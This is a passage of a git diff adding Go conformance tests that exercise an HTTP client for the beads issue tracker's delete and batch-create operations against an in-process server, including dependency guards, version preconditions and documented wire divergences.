conformance.RunDeleterForceOrphansDependents(t, t.Context(), newServedDeleterFixture(t, "hx03")) +} + +func TestServedDeleterCascadeDeletesTheClosure(t *testing.T) { + conformance.RunDeleterCascadeDeletesTheClosure(t, t.Context(), newServedDeleterFixture(t, "hx04")) +} + +func TestServedDeleterCascadeFromAWispRootDeletesTheClosure(t *testing.T) { + conformance.RunDeleterCascadeFromAWispRootDeletesTheClosure(t, t.Context(), newServedDeleterFixture(t, "hx05")) +} + +func TestServedDeleterGuardsAWispNamedWithADurableDependent(t *testing.T) { + skipKnownDivergence(t, "L-delete-dependents", bulkParkBead, parkDeleteDependents) + conformance.RunDeleterGuardsAWispNamedWithADurableDependent(t, t.Context(), newServedDeleterFixture(t, "hx06")) +} + +func TestServedDeleterGuardsADurableNamedWithAWispDependent(t *testing.T) { + skipKnownDivergence(t, "L-delete-dependents", bulkParkBead, parkDeleteDependents) + conformance.RunDeleterGuardsADurableNamedWithAWispDependent(t, t.Context(), newServedDeleterFixture(t, "hx07")) +} + +func TestServedDeleterCountsCrossPlaneEdgesItRemoves(t *testing.T) { + conformance.RunDeleterCountsCrossPlaneEdgesItRemoves(t, t.Context(), newServedDeleterFixture(t, "hx08")) +} + +func TestServedDeleterNeverCallsALiveRowDeleted(t *testing.T) { + conformance.RunDeleterNeverCallsALiveRowDeleted(t, t.Context(), newServedDeleterFixture(t, "hx09")) +} + +func TestServedDeleterErasesAcrossBothPlanes(t *testing.T) { + conformance.RunDeleterErasesAcrossBothPlanes(t, t.Context(), newServedDeleterFixture(t, "hx10")) +} + +func TestServedDeleterCollapsesDuplicateIDs(t *testing.T) { + conformance.RunDeleterCollapsesDuplicateIDs(t, t.Context(), newServedDeleterFixture(t, "hx11")) +} + +func TestServedDeleterRewritesReferencesInNeighbors(t *testing.T) { + conformance.RunDeleterRewritesReferencesInNeighbors(t, t.Context(), newServedDeleterFixture(t, "hx12")) +} + +func TestServedDeleterDryRunChangesNothing(t *testing.T) { + conformance.RunDeleterDryRunChangesNothing(t, t.Context(), newServedDeleterFixture(t, "hx13")) +} + +func TestServedDeleterRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunDeleterRecordsExactlyOneHistoryEntry(t, t.Context(), newServedDeleterFixture(t, "hx14")) +} + +func TestServedDeleterDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunDeleterDoesNotMutateTheCallerRequest(t, t.Context(), newServedDeleterFixture(t, "hx15")) +} + +// The compare-and-delete precondition, end to end. It is the guard whose failure +// mode has no undo — a dropped one erases a row the caller asked not to erase, +// with nothing left to compare afterwards — so all four of its contracts run +// against a real server rather than stopping at the request assertion. +// +// The arity case is the one that could not have been anticipated client-side: +// the wire refuses a guard beside more than one DISTINCT id, and distinctness +// there is measured after trimming and collapsing duplicates, so `["x", " x "]` +// is ONE bead and legal. That normalization belongs to the server, and this is +// where the client's verbatim ids meet it. + +func TestServedDeleterDeletesOnAMatchingExpectedVersion(t *testing.T) { + conformance.RunDeleterDeletesOnAMatchingExpectedVersion(t, t.Context(), newServedDeleterFixture(t, "hx16")) +} + +func TestServedDeleterRefusesAStaleExpectedVersion(t *testing.T) { + conformance.RunDeleterRefusesAStaleExpectedVersion(t, t.Context(), newServedDeleterFixture(t, "hx17")) +} + +func TestServedDeleterVersionOutranksForceAndCascade(t *testing.T) { + conformance.RunDeleterVersionOutranksForceAndCascade(t, t.Context(), newServedDeleterFixture(t, "hx18")) +} + +func TestServedDeleterRefusesAnExpectedVersionAcrossSeveralIDs(t *testing.T) { + conformance.RunDeleterRefusesAnExpectedVersionAcrossSeveralIDs(t, t.Context(), newServedDeleterFixture(t, "hx19")) +} + +// The three BLOCKED-STATE postconditions of a delete, which map onto the wire +// whole: the request is expressible, and what they assert is what the server's +// deleting transaction leaves behind in a column no read on this surface +// hydrates. +// +// They matter most on the SURVIVORS. A delete is the one write that removes the +// blocker rather than closing it, so a body that settled by re-reading the +// deleted row would find nothing and leave every depender marked blocked by an +// id that no longer exists — a row that can never become ready again and that +// no listing can explain. +func TestServedDeleterSettlesTheSurvivorsOfADeletedBlocker(t *testing.T) { + conformance.RunDeleterSettlesTheSurvivorsOfADeletedBlocker(t, t.Context(), newServedDeleterFixture(t, "hx20")) +} + +func TestServedDeleterSettlesTheSurvivorsOfADeletedWispBlocker(t *testing.T) { + conformance.RunDeleterSettlesTheSurvivorsOfADeletedWispBlocker(t, t.Context(), newServedDeleterFixture(t, "hx21")) +} + +// TestServedDeleterSettlesTheChildrenOfADeletedParent is the inherited half: a +// child orphaned from a blocked parent inherits nothing, so the same +// transaction has to unmark it. +func TestServedDeleterSettlesTheChildrenOfADeletedParent(t *testing.T) { + conformance.RunDeleterSettlesTheChildrenOfADeletedParent(t, t.Context(), newServedDeleterFixture(t, "hx22")) +} + +const parkDeleteNotFound = "the case binds *NotFoundError.IDs, and the wire's 404 carries a FIXED detail that cannot echo caller input back, so the ids that did not resolve are unrecoverable (asserted by TestServedDeleteRefusesAnAbsentIDWithoutNamingIt)" + +const parkDeleteDependents = "the case binds *DependentsOutsideRequestError, and the wire flattens the unforced dependents guard into a 400 invalid_argument with no param, so the blocked id and its dependents cannot be reconstructed without parsing detail prose. " + + "The GUARD is asserted for all three quadrants the contract covers: TestServedDeleteDependentsGuardRefusesAsValidation (durable named, durable dependent, plus the both-ends-named exception), " + + "TestServedDeleteGuardsAWispNamedWithADurableDependent and TestServedDeleteGuardsADurableNamedWithAWispDependent (the two cross-plane directions, unforced refusal AND forced orphan report)" + +// TestServedDeleteRefusesAnAbsentIDWithoutNamingIt is L-delete-notfound's pin, +// and it RUNS. +// +// The row is a divergence in CLASSIFICATION, not in outcome, and the outcome is +// the half that matters: an id naming no row fails the whole request and +// deletes NOTHING — not even the id beside it that did resolve. Asserting the +// absence of the typed error is what makes the row retire the day the wire +// grows an ids extension member. +func TestServedDeleteRefusesAnAbsentIDWithoutNamingIt(t *testing.T) { + env := newServedEnv(t, "hxnf") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + const stored = "hxnf-real" + seedServedIssue(t, ctx, env, stored, types.StatusOpen) + + for _, dryRun := range []bool{false, true} { + result, err := deleter.Delete(ctx, issueops.DeleteRequest{ + IDs: []string{stored, "hxnf-nosuchrow"}, Force: true, DryRun: dryRun, + }) + if !errors.Is(err, issueops.ErrNotFound) { + t.Fatalf("Delete(dryRun=%v) error = %v, want ErrNotFound", dryRun, err) + } + var notFound *issueops.NotFoundError + if errors.As(err, ¬Found) { + t.Errorf("the refusal carries *NotFoundError(%v); L-delete-notfound says the wire cannot express it — retire the row rather than the assertion", notFound.IDs) + } + if result.Deleted != 0 { + t.Errorf("refused delete reported Deleted = %d, want 0", result.Deleted) + } + assertServedIssueRows(t, ctx, env, 1, stored) + } +} + +// TestServedDeleteDependentsGuardRefusesAsValidation is L-delete-dependents' +// pin, and it RUNS. The guard itself is untouched: the request fails and the +// graph is whole. +func TestServedDeleteDependentsGuardRefusesAsValidation(t *testing.T) { + env := newServedEnv(t, "hxdg") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + const blocker, dependent = "hxdg-blocker", "hxdg-dependent" + seedServedIssue(t, ctx, env, blocker, types.StatusOpen) + seedServedIssue(t, ctx, env, dependent, types.StatusOpen) + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: dependent, DependsOnID: blocker, Type: types.DepBlocks, + }, "seed"); err != nil { + t.Fatalf("seed the edge: %v", err) + } + + result, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker}}) + if err == nil { + t.Fatal("an unforced delete over an outside dependent succeeded; the guard is the role's and must survive the crossing") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal = %v, want ErrValidation — the wire spells this as a 400 invalid_argument", err) + } + if errors.Is(err, issueops.ErrDependentsOutsideRequest) { + t.Error("the refusal carries ErrDependentsOutsideRequest; L-delete-dependents says the wire cannot express it — retire the row rather than the assertion") + } + if result.Deleted != 0 { + t.Errorf("refused delete reported Deleted = %d, want 0", result.Deleted) + } + assertServedIssueRows(t, ctx, env, 1, blocker, dependent) + + // The EXCEPTION beside the guard, which the wire carries whole: a dependent + // INSIDE the request is not a dependent for this purpose. Refusing it would + // make `delete a b` fail on exactly the pair a caller took care to list + // together, and it is the one arm a body that partitioned the request by + // plane could still get wrong. + both, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker, dependent}}) + if err != nil { + t.Fatalf("Delete() naming both ends of the edge: %v — a dependent INSIDE the request is not a dependent", err) + } + if both.Deleted != 2 { + t.Errorf("Deleted = %d, want 2", both.Deleted) + } + assertServedIssueRows(t, ctx, env, 0, blocker, dependent) +} + +// TestServedDeleteGuardsAWispNamedWithADurableDependent and its sibling below +// are the two CROSS-PLANE quadrants of the dependents guard, over the wire. +// +// They exist because the contract cases that cover them park on the typed +// error, and parking all four quadrants on one durable-to-durable assertion +// would leave exactly the hole deleter_contract.go says it was written to +// close: a body that asked the guard about the durable half of the request only +// "orphaned a durable dependent without saying so and without being refused". +// The guard is the SERVER's here, but a client that partitioned a mixed request +// by plane would reintroduce it below the wire, and nothing else would see it. +// +// Both halves of the clause are asserted, because a body can get either one +// right on its own: the unforced refusal leaves both rows AND the edge, and the +// forced run deletes exactly the named row and NAMES the cross-plane orphan. +func TestServedDeleteGuardsAWispNamedWithADurableDependent(t *testing.T) { + env := newServedEnv(t, "hxwg") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + // The NAMED row is the wisp; its dependent is durable, so the edge lives in + // `dependencies` with the wisp as the target. + const wisp, dependent = "hxwg-wisp", "hxwg-dependent" + seedServedWisp(t, ctx, env, wisp) + seedServedIssue(t, ctx, env, dependent, types.StatusOpen) + seedServedEdge(t, ctx, env, dependent, wisp) + assertServedEdgeRows(t, ctx, env, "dependencies", 1, dependent, wisp) + + for _, dryRun := range []bool{false, true} { + result, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{wisp}, DryRun: dryRun}) + assertServedDependentsRefusal(t, err, dryRun) + if result.Deleted != 0 { + t.Errorf("refused delete (dryRun=%v) reported Deleted = %d, want 0", dryRun, result.Deleted) + } + assertServedWispRows(t, ctx, env, 1, wisp) + assertServedIssueRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "dependencies", 1, dependent, wisp) + } + + forced, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{wisp}, Force: true}) + if err != nil { + t.Fatalf("forced delete of the wisp: %v", err) + } + if forced.Deleted != 1 { + t.Errorf("Deleted = %d, want 1 — force deletes the NAMED wisp and nothing else", forced.Deleted) + } + if !reflect.DeepEqual(forced.Orphaned, []string{dependent}) { + t.Errorf("Orphaned = %v, want [%s] — the cross-plane edge orphans a durable row too", forced.Orphaned, dependent) + } + assertServedWispRows(t, ctx, env, 0, wisp) + assertServedIssueRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "dependencies", 0, dependent, wisp) +} + +// TestServedDeleteGuardsADurableNamedWithAWispDependent is the fourth quadrant: +// the WISP is the dependent, so the edge lands in wisp_dependencies, and the +// durable row it depends on is the one named unforced. The two planes are +// scanned by different queries below the wire, so this is a genuinely separate +// answer from the case above. +func TestServedDeleteGuardsADurableNamedWithAWispDependent(t *testing.T) { + env := newServedEnv(t, "hxdw") + ctx := t.Context() + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + + const blocker, dependent = "hxdw-blocker", "hxdw-dependent" + seedServedIssue(t, ctx, env, blocker, types.StatusOpen) + seedServedWisp(t, ctx, env, dependent) + seedServedEdge(t, ctx, env, dependent, blocker) + assertServedEdgeRows(t, ctx, env, "wisp_dependencies", 1, dependent, blocker) + + for _, dryRun := range []bool{false, true} { + result, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker}, DryRun: dryRun}) + assertServedDependentsRefusal(t, err, dryRun) + if result.Deleted != 0 { + t.Errorf("refused delete (dryRun=%v) reported Deleted = %d, want 0", dryRun, result.Deleted) + } + assertServedIssueRows(t, ctx, env, 1, blocker) + assertServedWispRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "wisp_dependencies", 1, dependent, blocker) + } + + forced, err := deleter.Delete(ctx, issueops.DeleteRequest{IDs: []string{blocker}, Force: true}) + if err != nil { + t.Fatalf("forced delete of the durable row: %v", err) + } + if forced.Deleted != 1 { + t.Errorf("Deleted = %d, want 1 — force deletes the NAMED durable row and nothing else", forced.Deleted) + } + if !reflect.DeepEqual(forced.Orphaned, []string{dependent}) { + t.Errorf("Orphaned = %v, want [%s] — the orphan is a wisp, and it is still an orphan", forced.Orphaned, dependent) + } + assertServedIssueRows(t, ctx, env, 0, blocker) + assertServedWispRows(t, ctx, env, 1, dependent) + assertServedEdgeRows(t, ctx, env, "wisp_dependencies", 0, dependent, blocker) +} + +// assertServedDependentsRefusal is the coarse shape L-delete-dependents leaves: +// ErrValidation, and NOT the typed sentinel the local role raises. +func assertServedDependentsRefusal(t *testing.T, err error, dryRun bool) { + t.Helper() + if err == nil { + t.Fatalf("an unforced delete (dryRun=%v) over a cross-plane dependent succeeded; the guard has no wisp exemption at either end", dryRun) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal (dryRun=%v) = %v, want ErrValidation — the wire spells this as a 400 invalid_argument", dryRun, err) + } + if errors.Is(err, issueops.ErrDependentsOutsideRequest) { + t.Errorf("the refusal (dryRun=%v) carries ErrDependentsOutsideRequest; L-delete-dependents says the wire cannot express it — retire the row rather than the assertion", dryRun) + } +} + +// ── BatchCreator ──────────────────────────────────────────────────────────── + +func newServedBatchCreatorFixture(t *testing.T, prefix string) conformance.BatchCreatorFixture { + t.Helper() + env := newServedEnv(t, prefix) + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + return conformance.BatchCreatorFixture{ + IssuePrefix: env.prefix, + BatchCreator: creator, + CreateIssue: env.createIssue, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +// TestServedBatchCreateStampsEachItemsCreatedByFromTheActor is the served half +// of created_by on the batch: BatchCreateItem publishes no created_by, so the +// stored creator exists only because the server stamps it from the actor +// (internal/httpapi's batch_create.go). An item whose CreatedBy names that actor +// — the shape `bd create --file` sends — is carried by the stamp rather than +// refused, and an item that names none is stamped all the same. +func TestServedBatchCreateStampsEachItemsCreatedByFromTheActor(t *testing.T) { + env := newServedEnv(t, "hbcby") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + res, err := creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "file-writer", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "named", Priority: 2, IssueType: types.TypeTask, CreatedBy: "file-writer"}}, + {Issue: &issueops.Issue{Title: "unnamed", Priority: 2, IssueType: types.TypeTask}}, + }, + }) + if err != nil { + t.Fatalf("CreateBatch in bd create --file's shape = %v, want it served", err) + } + for i, issue := range res.Issues { + stored, err := env.getIssue(ctx, issue.ID) + if err != nil { + t.Fatalf("read back items[%d] %s: %v", i, issue.ID, err) + } + if stored.CreatedBy != "file-writer" { + t.Errorf("items[%d] stored created_by = %q, want the actor %q", i, stored.CreatedBy, "file-writer") + } + } +} + +func TestServedBatchCreatorCreatesEveryItemAsOneAct(t *testing.T) { + conformance.RunBatchCreatorCreatesEveryItemAsOneAct(t, t.Context(), newServedBatchCreatorFixture(t, "hb00")) +} + +func TestServedBatchCreatorRefusesEverythingWhenOneItemRefuses(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, parkBatchExplicitID) + conformance.RunBatchCreatorRefusesEverythingWhenOneItemRefuses(t, t.Context(), newServedBatchCreatorFixture(t, "hb01")) +} + +func TestServedBatchCreatorRejectsAnUnusableRequest(t *testing.T) { + conformance.RunBatchCreatorRejectsAnUnusableRequest(t, t.Context(), newServedBatchCreatorFixture(t, "hb02")) +} + +func TestServedBatchCreatorRefusesACrossPlaneInBatchEdge(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case seeds an item with Issue.Ephemeral, and the wire's item publishes no wisp member at all — "+ + "so the plane an item lands in is the server's to choose and a cross-plane in-batch edge cannot be asked for. "+parkBatchExplicitID) + conformance.RunBatchCreatorRefusesACrossPlaneInBatchEdge(t, t.Context(), newServedBatchCreatorFixture(t, "hb03")) +} + +func TestServedBatchCreatorLinksAnEarlierItemOfTheSameBatch(t *testing.T) { + skipKnownDivergence(t, "L-batchcreate-inbatch", bulkParkBead, + "an edge onto an earlier item of the same batch needs that item to have named an id for itself, and BatchCreateItem publishes no id member (asserted by TestBatchCreateCannotNameAnItemOfItsOwnBatch)") + conformance.RunBatchCreatorLinksAnEarlierItemOfTheSameBatch(t, t.Context(), newServedBatchCreatorFixture(t, "hb04")) +} + +func TestServedBatchCreatorRefusesAnAbsentEdgeTarget(t *testing.T) { + skipKnownDivergence(t, "L-batchcreate-target", bulkParkBead, + "the case binds ErrValidation WRAPPING ErrNotFound, and the wire answers a dangling target with a plain 400 invalid_argument (asserted by TestServedBatchCreateRefusesAnAbsentEdgeTargetAsValidation). "+parkBatchExplicitID) + conformance.RunBatchCreatorRefusesAnAbsentEdgeTarget(t, t.Context(), newServedBatchCreatorFixture(t, "hb05")) +} + +func TestServedBatchCreatorAcceptsAForeignEdgeTarget(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + parkBatchExplicitID+" The rule itself is asserted by TestServedBatchCreateAcceptsAForeignEdgeTarget, over server-generated ids.") + conformance.RunBatchCreatorAcceptsAForeignEdgeTarget(t, t.Context(), newServedBatchCreatorFixture(t, "hb06")) +} + +func TestServedBatchCreatorRecordsOneHistoryEntry(t *testing.T) { + skipKnownDivergence(t, "W-CreateBatchRequest.Provenance", bulkParkBead, + "half the case sends CreateBatchRequest.Provenance, which batchCreateIssues publishes no member for, so the client refuses it rather than letting the server's own label stand in silence. "+ + "The one-entry-per-batch half is asserted by TestServedBatchCreateRecordsOneHistoryEntry.") + conformance.RunBatchCreatorRecordsOneHistoryEntry(t, t.Context(), newServedBatchCreatorFixture(t, "hb07")) +} + +func TestServedBatchCreatorRecordsNoHistoryForAnEphemeralBatch(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case seeds Issue.Ephemeral on every item, and the wire's item publishes no wisp member. "+parkBatchExplicitID) + conformance.RunBatchCreatorRecordsNoHistoryForAnEphemeralBatch(t, t.Context(), newServedBatchCreatorFixture(t, "hb08")) +} + +// TestServedBatchCreatorEchoesSubSecondTimestamps is the batch half of the +// sub-second echo, parked on the item vocabulary like the eight above: its +// precision pin is a caller-supplied CreatedAt/UpdatedAt on every item, and +// apigen.BatchCreateItem carries no timestamp member. The client refuses +// items[0].Issue.CreatedAt before any request is sent, so there is no echo to +// measure — the case never reaches the wire, let alone the column. +func TestServedBatchCreatorEchoesSubSecondTimestamps(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case seeds Issue.CreatedAt/UpdatedAt on every item, and the wire's item publishes no timestamp "+ + "member — the client refuses items[0].Issue.CreatedAt before any request is sent, so the echo it "+ + "asserts has nothing to echo. "+parkBatchExplicitID) + conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, t.Context(), newServedBatchCreatorFixture(t, "hb12")) +} + +// The last TWO items of the wire's item vocabulary, both on the EPHEMERAL half +// of it and both parked for the reason the eight above are: apigen.BatchCreateItem +// carries eight content members and no id and no wisp flag, so an item cannot +// ask for the plane it lands on and cannot be referred to by a later item. +// +// The ephemeral plane's own batch behavior is therefore unreachable from this +// role over http rather than merely unasserted, and no bespoke case stands in +// for it: there is no server-generated-id spelling of "put this item in the +// wisps table". That is what makes these the two parks with nothing beside them. + +func TestServedBatchCreatorKeepsAnEphemeralItemsLabelsOffTheDurablePlane(t *testing.T) { + skipKnownDivergence(t, "W-BatchCreateItem.Issue", bulkParkBead, + "the case's single item sets Issue.Ephemeral, and the wire's item publishes no wisp member at all — "+ + "so there is no request that puts a batch-created row on the ephemeral plane, and the labels this "+ + "case follows there have nowhere to land. "+parkBatchExplicitID) + conformance.RunBatchCreatorKeepsAnEphemeralItemsLabelsOffTheDurablePlane(t, t.Context(), newServedBatchCreatorFixture(t, "hb10")) +} + +func TestServedBatchCreatorLinksAnEarlierItemOnTheEphemeralPlane(t *testing.T) { + skipKnownDivergence(t, "L-batchcreate-inbatch", bulkParkBead, + "it is the in-batch edge of TestServedBatchCreatorLinksAnEarlierItemOfTheSameBatch on the ephemeral "+ + "plane, so it needs BOTH members the item vocabulary withholds: an id for the earlier item to be "+ + "named by, and a wisp flag for either item to land on that plane at all") + conformance.RunBatchCreatorLinksAnEarlierItemOnTheEphemeralPlane(t, t.Context(), newServedBatchCreatorFixture(t, "hb11")) +} + +func TestServedBatchCreatorDoesNotMutateTheCallerRequest(t *testing.T) { + skipKnownDivergence(t, "W-CreateBatchRequest.Provenance", bulkParkBead, + "the case sends CreateBatchRequest.Provenance, which the client refuses; the no-mutation promise it is really about — the assigned id lands on the RESULT and never on the caller's issue — is asserted by TestBatchCreateDoesNotWriteThroughTheCallersItems.") + conformance.RunBatchCreatorDoesNotMutateTheCallerRequest(t, t.Context(), newServedBatchCreatorFixture(t, "hb09")) +} + +const parkBatchExplicitID = "the case names its items' ids and passes ForceIDPrefix (the contract's own preamble says every case does), and neither is expressible: BatchCreateItem publishes no id member, so ids over http are the server's to assign." + +// TestServedBatchCreateAcceptsAForeignEdgeTarget is the foreign-target half of +// the edge clause, over SERVER-GENERATED ids — the shape an http workspace can +// actually ask for. +// +// Both spellings are asserted because they are one rule: a target this database +// was never going to hold is not a miss, whether it is an `external:` reference +// or an id belonging to another repository. +func TestServedBatchCreateAcceptsAForeignEdgeTarget(t *testing.T) { + env := newServedEnv(t, "hbext") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + const externalTarget, foreignTarget = "external:JIRA-4471", "otherrig-9910" + result, err := creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []issueops.BatchCreateItem{ + { + Issue: &issueops.Issue{Title: "depends on something outside beads", Priority: 2, IssueType: types.TypeTask}, + Dependencies: []issueops.CreateDependency{{TargetID: externalTarget, Type: types.DepBlocks}}, + }, + { + Issue: &issueops.Issue{Title: "depends on another rig", Priority: 2, IssueType: types.TypeTask}, + Dependencies: []issueops.CreateDependency{{TargetID: foreignTarget, Type: types.DepBlocks}}, + }, + }, + }) + if err != nil { + t.Fatalf("CreateBatch with foreign edge targets: %v", err) + } + if len(result.Issues) != 2 { + t.Fatalf("CreateBatch returned %d issues, want 2", len(result.Issues)) + } + // The target column depends on what the target IS, and neither of these is a + // stored row: an `external:` reference and a foreign-prefix id both land in + // depends_on_external, which is the whole point of the rule. + for i, target := range []string{externalTarget, foreignTarget} { + var edges int + if err := env.queryScalar(ctx, + `SELECT COUNT(*) FROM dependencies WHERE issue_id = ? + AND (depends_on_issue_id = ? OR depends_on_external = ?)`, + []any{result.Issues[i].ID, target, target}, &edges); err != nil { + t.Fatalf("count the edge onto %s: %v", target, err) + } + if edges != 1 { + t.Errorf("edges onto %s = %d, want 1", target, edges) + } + } +} + +// TestServedBatchCreateRefusesAnAbsentEdgeTargetAsValidation is +// L-batchcreate-target's pin, and it RUNS. +// +// The half that still holds is the half worth having: a target naming nothing +// takes the WHOLE batch down, so a client cannot end up with issues whose +// declared relationships are missing. Only the second sentinel is lost. +func TestServedBatchCreateRefusesAnAbsentEdgeTargetAsValidation(t *testing.T) { + env := newServedEnv(t, "hbmiss") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + _, err = creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "would land", Priority: 2, IssueType: types.TypeTask}}, + { + Issue: &issueops.Issue{Title: "names something absent", Priority: 2, IssueType: types.TypeTask}, + Dependencies: []issueops.CreateDependency{{TargetID: "hbmiss-absent", Type: types.DepBlocks}}, + }, + }, + }) + if err == nil { + t.Fatal("a batch whose edge target names nothing was accepted; a create that dropped an edge is data loss the caller cannot learn about") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal = %v, want ErrValidation", err) + } + if errors.Is(err, issueops.ErrNotFound) { + t.Error("the refusal wraps ErrNotFound; L-batchcreate-target says the wire cannot express it — retire the row rather than the assertion") + } + + // The sibling item is what an implementation that dropped the edge and kept + // the issues would leave behind. + var created int + if err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issues", nil, &created); err != nil { + t.Fatalf("count the issues: %v", err) + } + if created != 0 { + t.Errorf("the refused batch created %d issue(s); it is all or nothing", created) + } +} + +// TestServedBatchCreateRecordsOneHistoryEntry is the durable half of "at most +// one history entry", over a request with no Provenance — which is the only +// shape http can send. +func TestServedBatchCreateRecordsOneHistoryEntry(t *testing.T) { + env := newServedEnv(t, "hbhist") + ctx := t.Context() + creator, err := env.subject.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + + before, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history: %v", err) + } + if _, err := creator.CreateBatch(ctx, issueops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "one", Priority: 2, IssueType: types.TypeTask}}, + {Issue: &issueops.Issue{Title: "two", Priority: 2, IssueType: types.TypeTask}}, + {Issue: &issueops.Issue{Title: "three", Priority: 2, IssueType: types.TypeTask}}, + }, + }); err != nil { + t.Fatalf("CreateBatch(3 durable items): %v", err) + } + after, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history: %v", err) + } + if delta := after - before; delta != 1 { + t.Errorf("history entries += %d for a 3-item batch, want 1: the request is the transaction, so it records one entry", delta) + } +} + +// The raw-row hooks the delete cases need. They read through the REFERENCE +// store's own SQL handle, because whether a row is really gone is the one claim +// a delete result cannot be trusted to make about itself. + +func seedServedWisp(t *testing.T, ctx context.Context, env *servedEnv, id string) { + t.Helper() + issue := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createWisp(ctx, issue, "seed"); err != nil { + t.Fatalf("seed wisp %s: %v", id, err) + } +} + +// seedServedEdge makes dependent depend on blocker. The PLANE is the source's, +// resolved by the reference store itself, which is why a case can seed a +// cross-plane edge without naming a table. +func seedServedEdge(t *testing.T, ctx context.Context, env *servedEnv, dependent, blocker string) { + t.Helper() + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: dependent, DependsOnID: blocker, Type: types.DepBlocks, + }, "seed"); err != nil { + t.Fatalf("seed the edge %s -> %s: %v", dependent, blocker, err) + } +} + +func assertServedIssueRows(t *testing.T, ctx context.Context, env *servedEnv, want int, ids ...string) { + t.Helper() + assertServedPlaneRows(t, ctx, env, "issues", want, ids...) +} + +func assertServedWispRows(t *testing.T, ctx context.Context, env *servedEnv, want int, ids ...string) { + t.Helper() + assertServedPlaneRows(t, ctx, env, "wisps", want, ids...) +} + +//nolint:gosec // G201: table is chosen by the caller from the two plane tables. +func assertServedPlaneRows(t *testing.T, ctx context.Context, env *servedEnv, table string, want int, ids ...string) { + t.Helper() + for _, id := range ids { + var rows int + query := "SELECT COUNT(*) FROM " + table + " WHERE id = ?" + if err := env.queryScalar(ctx, query, []any{id}, &rows); err != nil { + t.Fatalf("count %s in %s: %v", id, table, err) + } + if rows != want { + t.Errorf("%s rows for %s = %d, want %d", table, id, rows, want) + } + } +} + +// assertServedEdgeRows counts one edge in the plane table its SOURCE lives in. +// The target column is COALESCEd across the three the schema publishes, so a +// cross-plane edge is counted whichever end of it is a wisp. +// +//nolint:gosec // G201: table is chosen by the caller from the two edge tables. +func assertServedEdgeRows(t *testing.T, ctx context.Context, env *servedEnv, table string, want int, dependent, blocker string) { + t.Helper() + var rows int + query := "SELECT COUNT(*) FROM " + table + " WHERE issue_id = ? AND " + + "COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?" + if err := env.queryScalar(ctx, query, []any{dependent, blocker}, &rows); err != nil { + t.Fatalf("count %s edges %s -> %s: %v", table, dependent, blocker, err) + } + if rows != want { + t.Errorf("%s rows %s -> %s = %d, want %d", table, dependent, blocker, rows, want) + } +} diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go new file mode 100644 index 000000000..79e2c8ded --- /dev/null +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -0,0 +1,1313 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_claim_lifecycle_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "reflect" + "slices" + "sort" + "strings" + "sync/atomic" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Claimer and Lifecycle contracts, run through client → in-process bd serve +// → reference store. +// +// PARKING. A case that binds a member the v0 wire does not publish is parked +// with skipKnownDivergence naming 